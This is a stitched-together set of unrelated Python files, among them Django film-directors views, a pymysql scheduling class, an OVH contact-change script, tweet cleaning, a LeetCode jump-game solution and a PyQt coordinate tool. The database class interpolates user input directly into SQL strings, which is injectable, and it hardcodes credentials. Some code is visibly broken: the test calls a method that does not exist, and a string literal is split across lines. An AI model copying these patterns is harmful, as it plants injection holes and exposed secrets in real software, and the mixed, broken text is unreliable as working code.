labels_to_ignore = ['surprise', 'anger', 'disgust', 'contempt', 'fear', 'neutral']  # Example labels to ignore
builder.filter_labels(labels_to_ignore)
#print(builder.filtered_labels)
#sys.exit()
# Process the images
builder.process_images()


from django.shortcuts import render

from .models import Directores, Peliculas

def index (request):
    directores = Directores.objects.all()

    return render(request, 'index.html', context={
        'directores': directores,
    })

# Capturando la variable ids pasada en la url
# El nombre de la variable debe coincidir con introducido en urls.py
def director (request, ids):
    dtor = Directores.objects.filter(id = ids)
    foto =''
    nombre = ''
    apellido = ''
    nacimiento= ''
    muerte = ''
    pais = ''
    biografia = ''
    peliculas = Peliculas.objects.filter(director = ids)

    for director in dtor:
        foto = director.foto
        nombre = director.nombre
        apellido = director.apellido
        nacimiento = director.nacimiento
        if director.fallecimiento:
            muerte = f' † {director.fallecimiento}'
        else:
            muerte = ''
        pais = director.pais
        biografia = director.biografia

    return render(request, 'Details.html',context={
        'nombre': nombre,
        'apellido': apellido,
        'fechas': f'{nacimiento} {muerte}',
        'foto': foto,
        'pais': pais,
        'bio': biografia,
        'peliculas' : peliculas
    })

def pelicula (request, ids):
    peliculas = Peliculas.objects.filter(id = ids)

    # Haciendo un switch para colocar el nombre correcto del género
    genero = ''

    for peli in peliculas:
        if peli.genero == 'c':
            genero = 'Comedia'
        elif peli.genero == 'f':
            genero = 'Ciencia Ficción'
        elif peli.genero == 'd':
            genero = 'Drama'
        elif peli.genero == 't':
            genero = 'Terror'

    return render(request, 'pelis.html',context={
        'peliculas': peliculas,
        'genero': genero
    })


# imports
import os
import numpy as np
import pandas as pd
import pymysql
from pandas.plotting import table
import matplotlib.pyplot as plt
from datetime import datetime

from util.Event import Event
from matplotlib import rc

font = {'family' : 'DejaVu Sans',
        'weight' : 'normal',
        'size' : 12}
rc('font', **font)

class IO:

    def __init__(self, userName):
        self.userName = userName
        self.mysql = self.dbConnect()
        self.events = self.queryUser()

    def dbConnect(self):
        mysql = pymysql.connect(database ='IOU_DB',
                                host='localhost',
                                user='noahf',
                                password='1')
        return mysql

    def queryUser(self):
        '''
        Method to return a list of Event objects with the given userName
        '''

        # TODO : change this to query the mysql database for the given username
        # for now just read in a csv
        #eventTable = pd.read_csv(os.path.join(os.getcwd(), 'EVENT_TABLE.csv'))
        #eventTableByUser = eventTable[eventTable['UserName'] == self.userName]

        query = f'''
                SELECT *
                FROM EVENT_TABLE
                WHERE UserName='{self.userName}'
                '''

        eventTableByUser = pd.read_sql(query, self.mysql)

        eventList = []
        for ii, row in eventTableByUser.iterrows():
            event = Event(row['UserName'], row['Event'], row['StartTime'], row['EndTime'], row['StartDate'])
            eventList.append(event)
            print(event)

        return eventList

    def writeNewEvent(self, table, event, start, end, startDate):

        sqlcmd = f"""
                INSERT INTO {table} VALUES {(self.userName, event, start, end, startDate)}
                """
        print(sqlcmd)
        cursor = self.mysql.cursor()
        cursor.execute(sqlcmd)
        self.mysql.commit()

    def removeEvent(self, event, date):
        sqlcmd = f"""
                DELETE FROM EVENT_TABLE
                WHERE UserName = '{self.userName}'
                AND Event = '{event}'
                AND StartDate = '{date}'
                """
        cursor = self.mysql.cursor()
        cursor.execute(sqlcmd)
        self.mysql.commit()

    def queryOweTable(self):

        query = f"""
                SELECT *
                FROM OWE_TABLE
                WHERE ower = '{self.userName}'
                """

        oweTable = pd.read_sql(query, self.mysql)
        print(oweTable)

        if len(oweTable) > 0:

            fig = plt.figure()

            ax = plt.subplot(111, frame_on=False) # no visible frame
            ax.xaxis.set_visible(False)  # hide the x axis
            ax.yaxis.set_visible(False)  # hide the y axis
            table(ax, oweTable, loc='best')
            ax.set_title('Hourly Debt:', fontsize=14) #, pad=25
            #fig.subplots_adjust(top=0.2)

            return fig
        else:
            return "You don't have any debt!!"

    def queryRequestTable(self):

        query = f"""
                SELECT *
                FROM REQUESTS
                WHERE Requestor != '{self.userName}'
                """

        reqTable = pd.read_sql(query, self.mysql)
        print(reqTable)

        if len(reqTable) > 0:

            fig = plt.figure()

            ax = plt.subplot(111, frame_on=False) # no visible frame
            ax.xaxis.set_visible(False)  # hide the x axis
            ax.yaxis.set_visible(False)  # hide the y axis
            table(ax, reqTable, loc='best')
            ax.set_title('Requests from other Professors:', fontsize=14)

            return fig
        else:
            return "There are no requests"

    def addRequest(self, startDate, start, end, eventName):

        sqlcmd = f"""
                INSERT INTO REQUESTS VALUES {(self.userName, startDate, start, end, eventName)}
                """
        print(self.userName, startDate, start, end, eventName)
        sqlCheck = f"""
                    SELECT *
                    FROM EVENT_TABLE
                    WHERE UserName='{self.userName}'
                    AND StartDate='{startDate}'
                    AND StartTime='{start}'
                    AND EndTime='{end}'
                    AND Event='{eventName}'
                    """

        cursor = self.mysql.cursor()
        print(pd.read_sql(sqlCheck, self.mysql))
        if len(pd.read_sql(sqlCheck, self.mysql)) == 0:
            raise ValueError('Please Enter Values for an existing event')

        cursor.execute(sqlcmd)
        self.mysql.commit()

    def fulfill(self, eventName, eventDate, otherFirst, otherLast):

        cursor = self.mysql.cursor()

        # get other User name
        getOtherUser = f"""
                        SELECT *
                        FROM USERNAME
                        WHERE FirstName='{otherFirst}'
                        AND LastName='{otherLast}'
                        """
        userInfo = pd.read_sql(getOtherUser, self.mysql)
        otherUser = userInfo['UserName'].tolist()[0]

        # first remove request from REQUEST table
        sqlcmd = f"""
                DELETE FROM REQUESTS
                WHERE Requestor = '{otherUser}'
                AND EventName = '{eventName}'
                AND StartDate = '{eventDate}'
                """

        cursor.execute(sqlcmd)
        #self.mysql.commit()

        # get event hours
        eventsQuery = f"""
                    SELECT *
                    FROM EVENT_TABLE
                    WHERE UserName='{otherUser}'
                    AND Event='{eventName}'
                    AND StartDate='{eventDate}'
                    """

        print(eventsQuery)

        events = pd.read_sql(eventsQuery, self.mysql)

        if len(events) > 1:
            raise ValueError('Duplicate Events!!! Exiting...')

        print(events)
        event = Event(events['UserName'].tolist()[0],
                      events['Event'].tolist()[0],
                      events['StartTime'].tolist()[0],
                      events['EndTime'].tolist()[0],
                      events['StartDate'].tolist()[0])

        eventHrs = event.endTime - event.startTime
        eventHrs = eventHrs.total_seconds()/3600 # convert eventHrs to hr float

        # change username on the event in EVENT_TABLE
        updateCmd = f"""
                    UPDATE EVENT_TABLE
                    SET UserName='{self.userName}'
                    WHERE UserName='{otherUser}'
                    AND Event='{eventName}'
                    AND StartDate='{eventDate}'
                    """
        print()
        print("update comm: ", updateCmd)
        print()

        cursor.execute(updateCmd)
        #self.mysql.commit()

        # get relevant rows in OWE_TABLE and check figure out if you owe the otherUser
        getOwes = f"""
                    SELECT *
                    FROM OWE_TABLE
                    WHERE owes='{otherUser}'
                    AND ower='{self.userName}'
                    """

        oweTable = pd.read_sql(getOwes, self.mysql)

        if len(oweTable) > 0:
            hoursOwed = oweTable['amount'].tolist()[0]
        else:
            hoursOwed = 0

        # now calculate who owes what hours and insert
        if hoursOwed - eventHrs == 0:
            deleteEvent = f"""
                    DELETE FROM OWE_TABLE
                    WHERE ower = '{self.userName}'
                    AND owes = '{otherUser}'
                    """
            cursor.execute(deleteEvent)
            #self.mysql.commit()

        elif hoursOwed - eventHrs < 0:
            # first remove old owed hours
            deleteEvent = f"""
                    DELETE FROM OWE_TABLE
                    WHERE ower = '{self.userName}'
                    AND owes = '{otherUser}'
                    """
            cursor.execute(deleteEvent)
            #self.mysql.commit()

            # then add new row with conjugate
            addEvent = f"""
                        INSERT INTO OWE_TABLE VALUES {(otherUser, self.userName, eventHrs-hoursOwed)}
                        """
            cursor.execute(addEvent)
            #self.mysql.commit()

        else:
            owesUpdate = f"""
                        UPDATE OWE_TABLE
                        SET amount='{hoursOwed-eventHrs}'
                        WHERE ower='{self.userName}'
                        AND owes='{otherUser}'
                        """

            cursor.execute(owesUpdate)

        self.mysql.commit()


# -*- encoding: utf-8 -*-
import sys, argparse, json, ovh, re, datetime,configparser
from urllib import parse
def main(argv):
    parser = argparse.ArgumentParser()
    parser.add_argument('--url','-u', help='Url recu par email du type https://www.ovh.com/manager/#/useraccount/contacts/123456?tab=REQUESTS&token=monsupertoken')
    args = parser.parse_args()
    print(decodeUrl(args.url))
    client= ovh.Client()
    updateck(client)
    idurl = decodeUrl(args.url)["id"]
    tokenurl = decodeUrl(args.url)["token"]
    #Test if ID is ready to accept
    idstatus = client.get('/me/task/contactChange/{}'.format(idurl))
    if idstatus["state"] == "validatingByCustomers":
        result = client.post('/me/task/contactChange/{}/accept'.format(idurl),token=tokenurl)
        print(result)
    else:
        print("La tache de changeContact : "+str(idurl)+" est en état "+idstatus["state"])
def decodeUrl(url=""):
    # Decode the URL for Id and token for contactChange task
    result = parse.parse_qs(parse.urlsplit(url).fragment)
    id = re.findall('\d+',list(result.keys())[0])[0]
    token = result["token"][0]
    return({'id': str(id), 'token': str(token)})
def getConsumerKey(client):
    #Obtain Consumer Key for script
    ck = client.new_consumer_key_request()
    ck.add_recursive_rules(ovh.API_READ_WRITE, '/')
    validation = ck.request()
    print("Please visit %s to authenticate" % validation['validationUrl'])
    input("and press Enter to continue...")
    # Print nice welcome message
    print("Welcome", client.get('/me')['firstname'])
    return validation['consumerKey']
def updateck(client):
    #Mise à jour de la CK dans le fichier si besoin
    config = configparser.ConfigParser()
    config.read('ovh.conf')
    endpoint = config["default"]["endpoint"]
    try:
        client.get("/me")
    except (ovh.exceptions.NotCredential,ovh.exceptions.InvalidCredential): # Si la clef CK est non valide alors on en recupere une nouvelle
        config[endpoint]["consumer_key"]= getConsumerKey(client)
        with open('ovh.conf', 'w') as configfile:
            config.write(configfile)
    except :
        print("Erreur non lié à l'autentification de la CK\nVérifier le fichier ovh.conf")
        quit
    else:
        print("Welcome", client.get('/me')['firstname'])
        return True
if __name__ == "__main__":
   main(sys.argv[1:])


import pandas as pd
import numpy as np
import re

class loadCSV(object):
    def __init__(self):
        dataSet = [i.strip().split(",") for i in open('smileannotationsfinal.csv', 'r', encoding="utf8").readlines()]

        for index, val in enumerate(dataSet):
            if len(val) > 3:
                dataSet[index] = [val[0], ','.join(val[1:len(val) - 1]), val[-1]]
            dataSet[index][1] = cleanTweet(dataSet[index][1])

        self.tweetDataFrame = pd.DataFrame(dataSet, columns=['ID', 'Tweet', 'Classifiation'])

def cleanTweet(tweet):
    tweet = tweet.lower()
    #Convert www.* or https?://* to URL
    tweet = re.sub('((www\.[^\s]+)|(https?://[^\s]+))','URL',tweet)
    #Convert @username to AT_USER
    tweet = re.sub('@[^\s]+','AT_USER',tweet)
    #Remove additional white spaces
    tweet = re.sub('[\s]+', ' ', tweet)
    #Replace #word with word
    tweet = re.sub(r'#([^\s]+)', r'\1', tweet)
    #trim
    tweet = tweet.strip('\'"')
    return tweet

def main():
    csvData = loadCSV()
    print(csvData.tweetDataFrame.head())
    csvData.tweetDataFrame.to_csv('export.csv', sep=',', encoding='utf-8')

if __name__ == "__main__":
    # calling main function
    main()


from typing import List
from functools import lru_cache

class Solution:
    def canJump_top_down(self, nums: List[int]) -> bool:
        n = len(nums)
        @lru_cache(None)
        def can_jump(i):
            if i < 0 or i >= n:
                return False
            if i + nums[i] >= n - 1:
                return True
            return any(can_jump(k) for k in range(i + nums[i], i, -1))
        return can_jump(0)

    def canJump_greedy(self, nums: List[int]) -> bool:
        n = len(nums)
        max_jump = 0
        for i in range(n):
            if max_jump < i:
                return False
            max_jump = max(max_jump, i + nums[i])
            if max_jump >= n - 1:
                return True
        return max_jump >= n - 1

## TC: O(n)
## SC: O(1)

s = Solution()
print(s.canJump([0]))
print(s.canJump([3,2,1,0,4]))


from datetime import datetime
import uuid

class Order():
	def __init__(self, order):
		self.__dict__ = order
		self.id = str(uuid.uuid4())

class RenderDishInfo():
	def  __init__(self, id, name, shelf, value, isPicked, isDecayed):
		self.id = id
		self.name = name
		self.shelf = shelf
		self.value = value
		self.isPicked = isPicked
		self.isDecayed = isDecayed


from scripts.util import read_supertopics, SuperTopic, get_spottopics, DateFormat, read_temp_dist
from typing import Literal
import numpy as np
import json
from prettytable import PrettyTable

DATASET = 'climate2'
LIMIT = 7000000
DATE_FORMAT: DateFormat = 'monthly'
NORM: Literal['abs', 'col', 'row'] = 'abs'
BOOST = ['raw',  # 0
         'retweets',  # 1
         'replies',  # 2
         'likes',  # 3
         'retweets_likes',  # 4
         'replies_likes',  # 5
         'retweets_replies',  # 6
         'retweets_likes_replies'  # 7
         ][0]
# SOURCE_DIR = f'data/{DATASET}/topics_big2'
# TWEETS_FILE = f'data/{DATASET}/tweets_filtered_{LIMIT}.jsonl'
# LABELS_FILE = f'{SOURCE_DIR}/labels_{LIMIT}_tsne.npy'
EPS = 1e-12
FILE_SUPERTOPICS = f'data/{DATASET}/topics_big2/supertopics.csv'
# FILE_TEMP_DIST = f'data/{DATASET}/topics_big2/temporal_sampled/{DATE_FORMAT}/temporal_{LIMIT}_{DATE_FORMAT}_{BOOST}_{NORM}.json'
FILE_TEMP_DIST = 'data/climate2/topics_big2/temporal_keep_majority/monthly/temporal_monthly_raw_abs.json'
print(FILE_TEMP_DIST)
groups, topics, distributions = read_temp_dist(FILE_TEMP_DIST)

annotations = read_supertopics(FILE_SUPERTOPICS)
spot_topics = get_spottopics(distributions, threshold=0.4, min_size=500)

# print(topics)
# print(distributions.sum(axis=0))
print(distributions.shape)
print(annotations.shape)
print(spot_topics.shape)
tab = PrettyTable(field_names=['supertopic', 'N topics', 'N spottopics', 'spots/topics',
                               'N tweets', 'N tweet spot', 'spottweets/tweets', 'avg tweets/topic (std)', 'max peak'])

for st in SuperTopic:
    n_topics = annotations[:, st].sum()
    n_spots = annotations[:, st][spot_topics].sum()
    n_topic_tweets = distributions.T[annotations[:, st] > 0].sum()
    mean_tweets_per_topic = distributions.T[annotations[:, st] > 0].mean()
    std_tweets_per_topic = distributions.T[annotations[:, st] > 0].std()
    n_spot_tweets = distributions.T[spot_topics][annotations[:, st][spot_topics] > 0].sum()
    tab.add_row([st.name,
                 f'{n_topics} ({n_topics / distributions.shape[1]:.1%})',
                 f'{n_spots} ({n_spots / len(spot_topics):.1%})',
                 f'{n_spots / n_topics:.2%}',
                 f'{n_topic_tweets:,} ({n_topic_tweets / (distributions.sum() + EPS):.1%})',
                 f'{n_spot_tweets:,} ({n_spot_tweets / (distributions.T[spot_topics].sum() + EPS):.1%})',
                 f'{n_spot_tweets / n_topic_tweets:.1%}',
                 f'{mean_tweets_per_topic:.1f} ({std_tweets_per_topic:.1f})',
                 groups[distributions.T[annotations[:, st] > 0].sum(axis=0).argmax()]
                 ])

tab.add_row(['TOTAL',
             distributions.shape[1],
             len(spot_topics),
             '––',
             f'{distributions.sum():,}',
             f'{distributions.T[spot_topics].sum():,}',
             f'{distributions.T[spot_topics].sum() / distributions.sum():.1%}',
             f'{distributions.mean():.1f} ({distributions.std():.1f})',
             groups[distributions.T.sum(axis=0).argmax()]
             ])
print(tab)

print('annotated topics:', sum(annotations.sum(axis=1) > 0))
print('num topics:', len(topics))
print('num spot topics:', len(spot_topics))

# when does each spot topic "peak"
r = []
for spt in spot_topics:
    r.append((spt[0], groups[distributions.T[spt].argmax()]))
rs = sorted(r, key=lambda x: x[1])
print(rs)


from PyQt5.QtWidgets import QMainWindow, QApplication, QFileDialog, QMessageBox, QListWidgetItem
from PyQt5.QtCore import pyqtSlot, QDir, Qt, QSettings, QFileInfo
from SettingsDialog import SettingsDialog
from ui_MainWindow import Ui_MainWindow
import math
import Settings

def areaOfPolygon(vertices):
    vertices.append(vertices[0])
    area = lambda a, b: (b[0] - a[0]) * (a[1] + b[1]) / 2.
    areas = map(lambda i: area(vertices[i], vertices[i+1]), range(len(vertices) - 1))
    return sum(areas)

def lengthOfPath(vertices):
    distance = lambda a, b: math.sqrt((a[0] - b[0]) ** 2 + (a[1] - b[1]) ** 2)
    distances = map(lambda i: distance(vertices[i], vertices[i+1]), range(len(vertices) - 1))
    return sum(distances)

class MainWindow(QMainWindow):
    def __init__(self):
        super(MainWindow, self).__init__()

        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)

        self.settings = QSettings()

        self.ui.exitAction.triggered.connect(QApplication.quit)
        self.ui.zoomInAction.triggered.connect(self.ui.imageLabel.zoomIn)
        self.ui.zoomOutAction.triggered.connect(self.ui.imageLabel.zoomOut)

        self.enableImageActions(False)
        self.enableSamplesActions(False)

    @pyqtSlot()
    def on_openAction_triggered(self):
        dir = self.settings.value(
            Settings.LAST_DIRECTORY_KEY, Settings.DEFAULT_LAST_DIRECTORY)
        (filename, _) = QFileDialog.getOpenFileName(
            self,
            self.tr('Open Image'),
            dir,
            self.tr('Images (*.png *.jpg)'))
        if filename:
            self.settings.setValue(
                Settings.LAST_DIRECTORY_KEY, QFileInfo(filename).absolutePath())
            self.ui.imageLabel.loadImage(filename)
            self.statusBar().showMessage(QDir.toNativeSeparators(filename))
            self.enableImageActions(True)
            self.on_clearAction_triggered()

    @pyqtSlot()
    def on_saveAction_triggered(self):
        dir = self.settings.value(
            Settings.LAST_DIRECTORY_KEY, Settings.DEFAULT_LAST_DIRECTORY)
        (filename, _) = QFileDialog.getSaveFileName(
            self,
            self.tr('Open Image'),
            dir,
            self.tr('Comma Separated Values files (*.csv)\nText files (*.txt)\n'))
        if filename:
            self.settings.setValue(
                Settings.LAST_DIRECTORY_KEY, QFileInfo(filename).absolutePath())
            text = self.getCoordinatesAsCsv()
            with open(filename, 'w') as file:
                file.write(text)

    @pyqtSlot()
    def on_settingsAction_triggered(self):
        settingsDialog = SettingsDialog(self)
        if settingsDialog.exec_():
            self.ui.imageLabel.reset()

    @pyqtSlot()
    def on_clearAction_triggered(self):
        self.ui.listWidget.clear()
        self.ui.imageLabel.clearSamples()
        self.enableSamplesActions(False)

    @pyqtSlot()
    def on_copyAction_triggered(self):
        text = self.getCoordinatesAsTsv()
        clipboard = QApplication.clipboard()
        clipboard.setText(text)

    @pyqtSlot()
    def on_aboutQtAction_triggered(self):
        QMessageBox.aboutQt(self)

    @pyqtSlot()
    def on_aboutAction_triggered(self):
        QMessageBox.about(
            self,
            self.tr('About'),
            self.tr('
%s %s
\n' +
                    '
Developed by %s
') %
                        (QApplication.applicationName(),
                         QApplication.applicationVersion(),
                         QApplication.organizationDomain(),
                         QApplication.organizationName()
                         ))

    @pyqtSlot()
    def on_pathLengthAction_triggered(self):
        coordinates = list(self.getCoordinates())
        totalDistance = lengthOfPath(coordinates)
        QMessageBox.information(
            self,
            self.tr('Path Length'),
            self.tr("The path's length is %f" % totalDistance)
            )

    @pyqtSlot()
    def on_polygonAreaAction_triggered(self):
        coordinates = list(self.getCoordinates())
        totalArea = areaOfPolygon(coordinates)
        QMessageBox.information(
            self,
            self.tr('Polygon Area'),
            self.tr("The polygon's area is %f" % totalArea)
            )

    @pyqtSlot(float, float)
    def on_imageLabel_mouseMoved(self, x, y):
        self.ui.coordinatesLineEdit.setText("%f × %f" % (x, y))

    @pyqtSlot(float, float)
    def on_imageLabel_clicked(self, x, y):
        item = QListWidgetItem("%f × %f" % (x, y))
        item.setData(Qt.UserRole, x)
        item.setData(Qt.UserRole + 1, y)
        self.ui.listWidget.addItem(item)
        self.enableSamplesActions(True)

    def getCoordinates(self):
        items = self.ui.listWidget.findItems('*', Qt.MatchWildcard)
        return map(lambda item: (item.data(Qt.UserRole), item.data(Qt.UserRole + 1)), items)

    def getCoordinatesAsCsv(self):
        coordinates = self.getCoordinates()
        lines = map(lambda coordinate: "%f,%f" % coordinate, coordinates)
        return 'x,y\n' + '\n'.join(lines)

    def getCoordinatesAsTsv(self):
        coordinates = self.getCoordinates()
        lines = map(lambda coordinate: "%f\t%f" % coordinate, coordinates)
        return 'x\ty\n' + '\n'.join(lines)

    def enableSamplesActions(self, enable):
        self.ui.saveAction.setEnabled(enable)
        self.ui.clearAction.setEnabled(enable)
        self.ui.copyAction.setEnabled(enable)
        self.ui.pathLengthAction.setEnabled(enable)
        self.ui.polygonAreaAction.setEnabled(enable)

    def enableImageActions(self, enable):
        self.ui.zoomInAction.setEnabled(enable)
        self.ui.zoomOutAction.setEnabled(enable)

if __name__ == '__main__':
    vertices = [(0.72, 2.28), (2.66, 4.71), (5., 3.5), (3.63, 2.52), (4., 1.6), (1.9,  1.)]
    expectedArea = 8.3593
    area = areaOfPolygon(vertices)
    print("%f =?=\n%f" % (area, expectedArea))